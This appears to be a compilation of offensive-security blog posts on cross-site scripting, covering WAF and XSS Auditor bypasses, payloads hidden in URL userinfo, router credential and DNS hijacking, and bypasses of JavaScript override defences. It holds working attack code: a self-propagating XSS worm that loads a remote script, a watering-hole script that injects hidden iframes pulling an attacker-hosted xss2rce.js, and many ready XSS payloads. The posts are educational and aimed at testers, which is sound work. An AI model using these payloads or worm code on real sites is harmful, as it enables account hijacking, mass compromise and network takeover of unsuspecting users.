The Easiest Way to Bypass XSS Mitigations

The most straightforward and reliable way to bypass any protection between a tester/attacker and a target application is to use some filtering practices against these very protections.

For a security reason or not, a developer makes some sort of filtering in his/her own code without realizing it can be used to trick any other device or code that will stand between his own and user of application. In this post we will see this affecting a WAF (Web Application Firewall) and a browser anti-XSS filter, both common mitigation solutions.

By using language native or custom functions, a developer can strip or replace what he/she thinks is a dangerous (or unnecessary) character or string. So let’s first see what happens when an application strips spaces from user input.

Here is a PHP page with reflections of 2 URL parameters, “p” and “q”. The first one, “p”, is just a simple

echo $_GET[“p”];

and then, because this page is not whitelisted in my WAF (Web Application Firewall) settings, we are not able to exploit this flaw in a common situation like we can see below. In fact, this (excellent) security solution from Sucuri, named CloudProxy, can detect the XSS attempt even without the alert(1) part, with just a “<svg onload=” input.

bypass-waf-1

The second parameter, “q”, is there to exemplify the bypass. Here is its PHP code:

echo str_replace(“ ”, “”, $_GET[“q”]);

which replaces any white spaces from input. This is enough to trick CloudProxy and XSS Auditor, Google Chrome’s mitigation solution, at the same time.

bypass-waf-2

By adding “+”, usually parsed as white spaces by applications, in strategic places of vector/payload, both security solutions fail because of stripping of a single character. No WAF can see this as a XSS attack because “<” is not immediately followed by a alphabetic character and Auditor can’t see this as similar enough to what is reflected in source, the way this solution uses to catch XSS attempts.

They stand between what is sent by an attacker and what is really echoed back by application, which is not necessarily the same. Without a minimum match there’s no way to identify it as malicious.

Another way to use application against security measures is by abusing char/string replaces. Here is another page, this time with 4 URL parameters, “p”, “q”, “r” and “s”. This page is white listed in WAF settings, because none of these will be enough to bypass it: the presence of this replaced string (“<script”) in every request triggers WAF blocking. But it will work against Auditor.

echo $_GET[“p”];
echo str_ireplace(“<script”, “”, $_GET[“q”]);
echo str_ireplace(“<script”,“InvalidTag”, $_GET[“r”]);
echo str_ireplace(“<script”,“<InvalidTag”, $_GET[“s”]);

As we can see below, using the “p” parameter, Auditor catches it easily.

bypass-auditor-1

With “q” parameter, we can see “<script” being stripped.

bypass-auditor-2

So by using it right where it would confuse Auditor (in the middle of “on” of event handler), we can alert it.

bypass-auditor-3

In the “r” parameter, the replacing issue is “fixed”. A developer replaces it with a harmless string (like we can see in the wild), that mess with our previous construction.

bypass-auditor-4

So we try to use the replaced string (“InvalidTag”) as a javascript string. But doing it in the wrong way, browser throws an error (in red).

bypass-auditor-5

That’s because we are passing to event handler only the string, enclosed by quotes. This is the standard way to assign values to attributes in HTML, so javascript parsing stops in the second quote and there’s no “InvalidTag” defined. So we try to fix the syntax.

bypass-auditor-5-1

It doesn’t work. It becomes too obvious for Auditor to catch it. But what if we try the ES6 way to enclose javascript strings?

bypass-auditor-6

Nice. Another interesting way to do this, though not universally applicable as the previous one (because it can’t accept special chars), follows.

bypass-auditor-6-1

 

Using the replaced string as a label, it’s also possible to alert in a very elegant way.

Unfortunately, none of the above replacing tricks can be used with the last parameter, “s”. Auditor seems to flag the input due to presence of “<” character  in both request and response.

bypass-auditor-7-1

But, developers beware: this can’t be considered an anti- XSS solution, even if employed against all HTML tags (with a regex, for example). It opens another door to a tester/attacker by using the resulting “<InvalidTag” string with any of the agnostic event handlers to form a new attacking vector.

#hack2learn 

 

XSS Authority Abuse

In the beginning of an URL lies an underlooked place useful to hide things from server logs. It’s the authentication part of the authority section. Check the full URL scheme below.

uri-scheme

Differently from the fragment part, where we can use document properties like location.hash to store things that will never be sent to server, the user information will be sent but will not figure in logs for security reasons.

So it becomes another good place to put javascript code:

http://alert(1)@45.55.59.13/webgun/test.php?p=<svg+onload=eval(URL.slice(7,15))>

Using an slice of the string returned by window.URL property, starting from char 7 to char 15, we pass to eval() the string we want to execute. For a https enabled website, the right combination would be 8 and 16, respectively.

Although there’s a security warning in Firefox (but not in Chrome), the statement about the domain to visit (brutelogic.com.br) may lead user to a wrong conclusion.

ff-sec-warning

After it, there will be no trace of what really happened in browser address bar.

alert-hidden-URL

The same can be done with the location property of document if eval() is not available.

http://javascript:alert(1)@45.55.59.13/webgun/test.php?p=<svg+onload=location=URL.slice(7,26)>

But much more harmful is to use this ability to actually do some kind of authentication. Because the victim of a XSS attack can perform requests to internal IP addresses, it’s possible to pivot to devices accessible only to the victim.

Most SOHO (Small Office / Home Office) routers are usually vulnerable to login attacks over this channel, so all an attacker has to do is to guess the right one in a small list of common default credentials. After, he/she proceeds with a basic CSRF attack to add his own DNS server to router configuration achieving total control over the victim’s network. But latest Firefox (version 48) is smart enough to stop automation and warn the user about it.

router-login-attempt-1

The same can’t be said about latest Chrome (version 52). It has no security warning again.

Click here to test your own router (Firefox or Chrome). If after clicking on “click me” your router dashboard appears, you may be in serious trouble.

#hack2learn

Reflected in Watering Hole

Cross-site scripting becomes much more dangerous when used with another attack strategy. One of them is called Watering Hole and it’s better explained with the infographic below by Symantec:

watering-hole-attack-info

Content Management Systems (CMS), very popular in the web, are perfect targets to XSS exploitations due to its standardization. The same code is running in a lot of sites like we can see in W3Techs and BuiltWith statistics. This can easily lead to mass compromise.

In XSS to RCE – using WordPress as an example by Riyaz Walikarwe can see in details how to use an XSS vulnerability to get a web shell in current WordPress. His post is based in the following set of tweets, which in turn are a minification of James Hooker‘s work XSS and WordPress – The Aftermath.

If an WordPress administrator is logged and get XSSed, attacker is able to run commands in the underlying server. This becomes pretty easy if a vulnerability is a stored one. But with a reflected XSS attack, usually people think they need to click on a link, by means of phishing or a social network sharing.

In fact, an admin (or everyone else) doesn’t need to click on a link if there’s a reflected XSS vulnerability in the domain where WP is installed (inside or outside the installation). If an attacker is able to infect a site where he/she visits (watering hole), it’s possible to make he/she executes the XSS payload in the context of the affected domain.

An attacker can build a list of sites vulnerable to the latest reflected XSS disclosed and use the following script to load each one into invisible iframes in an attempt to hit a victim with it:

targets=[
‘a.com’,
‘b.com’,
‘c.com’
]

for(i=0; i<targets.length; i++){
f=document.createElement(‘iframe’);
f.setAttribute(‘style’,’display:none’);
f.src=’//’+targets[i]+’/PATH/PAGE?PARAM=<script src=//DOMAIN/xss2rce.js>’;
document.body.appendChild(f);
}

This simply defines a list of targets (a.com, b.com, etc) and iterates through them to create hidden iframe (style=display:none) elements with source being the relative path to vulnerable page, along with the respective payload loading the script for the CMS assault (xss2rce.js).

He/she then finds a vulnerability on a site commonly accessed by targeted admins, like a CMS forum or a website of a theme/plugin maker and infects it with a stored XSS or via SQL injection (or any takeover technique). The longer the target list is, the greater the chances of making an incautious admin create a web shell for the attacker.

Here is an example of the idea exposed above:

joomla-sqli

It was still vulnerable live to the time of this publishing.

#hack2learn

P.S: as pointed out by the very author of the highlighted 3rd party component in Joomla! website (SobiPro), Radek Suski, this is not a real vulnerability (it was there just to illustrate anyway).

Bypassing Javascript Overrides

Some time ago, a curious mitigation to XSS was presented here. By hijacking and nullifying common javascript functions used by a tester, it provides an interesting challenge for bypass.

The code below, currently online at United website (which has a bug bounty program at the time of this writing) overrides (hence the name) functions like alert(), prompt() and confirm(), in order to not let them be used by a tester. It’s included as a source of a script tag so it always loads before any injection.

override-js

Setting up a test page is straightforward:

override-page

Soon, we realize that library has to be used with some server side filtering in order to be effective at least against less skilled testers. With ability to input any XSS vector/payload, it becomes easy to figure out a bypass. But let’s consider that we are able to get the following injection reflected:

<svg onload=alert(1)>

Alert will not execute, because it does not exist anymore in this context. So let’s try another javascript code:

<svg onload=document.write(‘XSS’)>

It doesn’t work, document.write() is hijacked also. But library is forgetting to hijack its twin function, document.writeln():

override-writeln

With the ability to write to document, we jump to the URL hash, where code is never sent to server and won’t be noticed:

<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>

It works. But it would not work in the wild. Why?

When trying to bypass this lib in United website, I tried the same thing without success. That’s because the page is loaded in the same exactly way but with the injected image included:

override-united

The library is still present in the page, so it hijacks alert() before it can be executed. Another trick is needed to include in the document without get caught by lib:

override-united-2

By using an iframe we are able to run code without the presence of “js-override.js”, with a brand new document (the iframe’s one) included in our target page.

Kudos to @strukt93 for bringing this to my attention! More details here.

#hack2learn

The Genesis of an XSS Worm – Part III

Be sure you have read parts I here and II here.

We start the XSSbook database population with the dataset:

xssbook-1

There are few users with most followers, like any social network.

To make a simple demo, database was populated with just 100 users, the last of them is “brute”.

xssbook-3

They all have the same password, “12345678”.

The application looks like this:

xssbook-screens

The home page shows the posts of those who user follows. In the screenshot above, Brute is following Angela and is able to see its latest post. His profile page shows his number of followers (currently 0) and his “about me” message. Brute’s posts are not shown because he didn’t post yet.

To start the worm spreading, the patient zero is George. He got infected by accessing a link to the search page which contains a reflected XSS:

http://localhost/xssbook/search.php?user=%3Cscript%20src=//brutelogic.com.br/tmp/xssbook.js%3E%3C/script%3E

Loaded script is here. The first 4 lines are the spreading code, which makes the victim post the link that runs the infection (the reflected XSS).

x = new XMLHttpRequest();
x.open(‘POST’, ‘home.php’, true);
x.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
x.send(‘post=</textarea><br><a href=”‘ + document.URL + ‘”>Check this!</a>’);

To make it work, it closes the current <textarea>, jump to next line and create an anchor with current URL.

In next 4 lines we create an invisible iframe.

fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);
document.body.appendChild(fr);

Which will be the target of the form the worm will create (see part I).

Next, we set the form:

fo = document.createElement(‘form’);
fo.setAttribute(‘method’, ‘post’);
fo.setAttribute(‘action’, ‘profile.php?id=100’);
fo.setAttribute(‘target’, ‘myFrame’);

It will post to profile.php with id #100, which means the user “brute”. Target is the invisible iframe.

The single input element comes next:

i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);
fo.appendChild(i);

This hidden input is the POST ṕarameter “follow”, responsible for the follows in XSSbook. It’s appended in the form. Then:

fo.elements[0].value=’follow’;

The value of “follow” is set to “follow”.

document.body.appendChild(fo);

Form is appended to document.

fo.submit();

Form is finally submitted.

As we see, the worm makes the victim spread its code, by posting the reflected XSS attack and follow the user “brute”.

So we have a social network with 100 users, 463 connections and a working worm. What we need now is to see the infection happening across the users. For this we will make use of the Firefox add-on Selenium IDE.

xssbook-2

This script emulates the behavior of a given user: it reads login credentials from a CSV file (exported in a random order from MySQL), types them in the respective fields and after login it clicks on the link posted by someone this user follows.

Here is the final result:

#hack2learn

P.S. A similar work, this time in a real world scenario is here by Mohamed Baset.

The Genesis of an XSS Worm – Part II

If you missed, part I of this series is here.

In order to understand our XSS worm in action, we will first see its spreading environment, a very simple social network. XSSbook, as we will call it, is basically the product of a database with just 3 tables:

genesis-xss-worm-part2-1

Let’s see what we have into each one.

genesis-xss-worm-part2-2

Table “users” has the profile of users of the system, with their identification number (id), user to login (user), their name (name), password in MD5 format (pass), email (email) and a field to talk shortly about themselves (about).

Table “posts” stores their posts with date and time, using their ids in the user_id field.

Lastly, table “follows” keeps the relationship between users by means of their ids to define who is following who: in the context of application this means which posts will appear in user’s timeline.

For the interface, a set of  PHP scripts to handle the session, user input and database queries on each feature are enough to make this work.

genesis-xss-worm-part2-4

The greatest challenge now is how to populate the database with fake data as closer as possible to a real world social network. For this, we will make use of bash scripts to generate data files to import into XSSbook. We will also try to follow the power law to reflect what happens with thousands of users connections.

In the next post we will see our XSS worm spreading across this populated database.

genesis-xss-worm-part2-3

#hack2learn

The Genesis of an XSS Worm – Part I

The greatest danger of a cross-site scripting (XSS) vulnerability is the possibility of spreading from user to user of an application until the whole user system get infected. Such code capable of doing that is what we call an XSS worm.

In order to better understand how this digital creature works, we will start a brand new journey into the mechanics of the self replicating code needed to make this danger exist.

As always, for didactic purposes, we will keep it simple as possible making use of the essential things only. So we will avoid the use of XHR and similar javascript proceedings, better suited for more complex applications which is not our goal.

Let’s see the simplest case of self replicating XSS, a reflected one. The code below is only the needed to replicate itself.

<a href target=_blank>click</a>

It simply injects a link which will open the current page with the same injection in another browser tab.

genesis-xss-worm-1.1

Try it here.

Now let’s see a more elaborate one. This page is meant to be used to post comments and it’s vulnerable to stored XSS.

If we use the following code as comment:

<form method=post onclick=elements[0].value=outerHTML;submit()>
<input type=hidden name=comment>click me!</form>

We will be able to make a copy of the injected code every time someone click on “click me!”.

genesis-xss-worm-2

That injection is a form, allowing us to submit content using the POST HTTP method (method=post). When clicked (onclick) it will take the 1st element of the form (elements[0]) which is <input> and set its value to the outerHTML property of the form. This property returns all between <form> and </form>, included. After, the form is submitted (submit()). The input tag contains the string to be clicked (click me!) and the name of the POSTed variable (comment).

For a vector with less user interaction, we can use the event handler onmouseover or similar with CSS tricks to increase the likelihood of triggering to almost automatic.

Although useful, the form tag is unlikely to be allowed in a comment box. The reflected one is much more likely, but not that dangerous. So we will make use of both, combined.

The following code uses a reflected XSS to store a link pointing to itself, so it can spread by means of another user:

<form method=post action="//brutelogic.com.br/tests/comments.php"
onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()">
<input type=hidden name=comment>click me!</form>

It works by making a POST request to the comments page (action attribute), like the previous stored example. But instead of using outerHTML to recreate itself in the comment, it creates an anchor (“<a/href=” and “>link</a>” parts) using the value of the current URL document property (URL). It does that by concatenating (%2B is “+” encoded) the tag to the property.

It’s worth to note that usually it’s possible to submit anchors in comments, filters don’t use to block them. All we need is the reflected vulnerability on the same site.

Try it here.

genesis-xss-worm-animated

In order to make the attack stealthy, without returning the user to comments page, we add an invisible iframe and point the form to it, with an extra “target=NAME” attribute:

<iframe style=display:none name=x></iframe>
<form method=post action="//brutelogic.com.br/tests/comments.php"
onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()"
target=x><input type=hidden name=comment>click me!</form>

Open a tab with a clean comments page (drop comments) and try it here.

In the next part of this series, we will see an unique experiment: the spreading of an XSS worm among several users of a custom social network (a controlled environment) using this code.

#hack2learn

The Shortest Reflected XSS Attack Possible

How to achieve a full reflected XSS attack which includes the ability to run a complete script and not just an alert popup with the least amount of characters? Some people already tried to answer this question like in here and here.

As we may imagine it’s possible to have an URL parameter echoed in a source of a script:

<script src=“INPUT”></script>

which would make possible to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

<script src=“//INPUT”></script>

However, both scenarios are very unlikely.

There’s another one with 5 chars, which is also very unlikely but doesn’t rely on such direct javascript execution. With luck, it may appear in the wild so it’s good to know the mechanics. Consider the following simplest page:

http://brutelogic.com.br/tests/short.php?q=brute

short-01

It uses the 0.0.0.0 IP address as the href of the anchor for demo purposes, so we can try it locally. In a real vulnerable page it would need to be a valid yet expired domain (broken link) able to be acquired, spoofed or even compromised. Of course, this alone isn’t enough to exploit the page which would invalidate our next step.

The injection is:

http://brutelogic.com.br/tests/short.php?q=<base

short-03

 

Which just inserts a <base tag before the <a one to hijack its href attribute (the acquired/spoofed domain). This sets the base URL of the document to something we control and then we just need a script in the page being called from a relative URL, which is not that difficult to find into a given page.

Now setting a web server or just a listener on port 80 to deliver our script is enough to pop the alert (or anything we want):

short-1

short-2

An useful dead link with the right conditions is really hard to find, but to deal with the alignment involving the injection and the anchor, the trick used here and probably some browser quirks may help.

Anyway, in the cases where only the 2nd condition (script from relative URL) is met, we can still use the <base tag but this time providing the href:

<base href=//0>

Which is a full XSS vector with IP in decimal for a local PoC with just 15 chars.

#hack2learn

P.S.: it’s possible to use a domain name with just 4 chars like t.co and even a host name with just 1 char (“a”, for example) in an intranet attack.

Looking for XSS in PHP Source Code

If we have the source code of a server side script, which is the case of open source software, we can find XSS vulnerabilities in an automated and much faster way. This white box approach is called static analysis and there’s a lot of tools available in the web for this task.

But following our philosophy “hack to learn”, we’ll see now a simple way to look for XSS in PHP source code by searching for common patterns. Built around grep, a bash utility, this short tool named XSSaminer is available here.

It starts with a check for script arguments:

xss-in-php-0-1

If the 1st command line argument ($1) is null (-z) then show the usage instructions using the $0 as the name of the script and terminates it. If not, just assign that argument to the “f” variable, needed for the main function.

xss-in-php-0-2

Next comes the declaration of our sources and sinks, with some incomplete strings because they will be used just for a match. Sinks use sources, so if one meets another (without taking sanitizing functions into consideration), we will have a dangerous reflection of user controlled input somewhere into the generated HTML.

The GET, POST and REQUEST global variables are an obvious source of trouble if used by these sinks. But the SERVER ones which are presented below, has some quirks. Let’s assume as input the URL below (with injection crafted to break out of HTML attributes):

http://domain/page.php/"><svg onload=alert(1)>

Although there are three SERVER sources in the list, four SERVER variables will be found by our script, returning the following:

$_SERVER[‘PHP_SELF’] – returns the current URL decoded
http://domain/page.php/"><svg onload=alert(1)>

$_SERVER[‘PATH_TRANSLATED’] – returns file path on the system
/var/www/html/page.php/"><svg onload=alert(1)>

$_SERVER[‘PATH_INFO’] – returns info between page name and query string (?)
/"><svg onload=alert(1)>

$_SERVER[‘REQUEST_URI’] – returns the current URL
http://domain/page.php/"><svg onload=alert(1)>

This last one, REQUEST_URI, doesn’t decode the URL special chars like double quotes (“) and less than sign (>), which is a problem since browsers make the request with these encoded. So, this variable will be only exploitable in a stored XSS scenario, intercepting and editing the browser request (or using another HTTP client) or if it’s decoded anywhere else in the PHP code before landing on a sink.

xss-in-php-0-3

The xssam() function is responsible for combining sources and sinks to find the direct occurrences in the first and second “for” loops. The “a” variable is used to get the name of a var that is receiving one of the dangerous global ones (sources), providing one level of variable tracking to the script by means of the third “for” loop.

xss-in-php-0-4

In the main code the script decides between a single file calling the xssam function or the recursive mode. This is done by using the folder provided in command line ($2) with the “-r” option (which takes the place of the file name) to feed the same function in another “for” loop.

Usage:

./xssaminer FILE (for single file)

./xssaminer -r FOLDER (recursive, all .php files within folder)

XSSaminer is aimed at low-hanging fruits and very prone to FPs (False Positives) but with so few LoC (Lines of Code) it is “cost effective” if you consider the LoC/results rate.

As an example of the tool, screenshots below show the results of it fired against an WordPress theme, Rational Lite:

xss-in-php-1

It finds 3 potential XSS in 2 different files, where in the 2nd one they are just FPs. However, the 1st one is confirmed:

xss-in-php-2

After tracking the vulnerable code snippet across the theme files, with the great help of my teammate @MarcS0h from Sucuri Security, we were able to pop an alert in an unauthenticated ajax action callback with the dismiss_id GET parameter:

xss-in-php-3

A 0-day was found.

#hack2learn

P.S.: Added a “?” to the list of sinks to check for things like “<?= $_GET[‘p’]; ?>” which is also a valid reflection.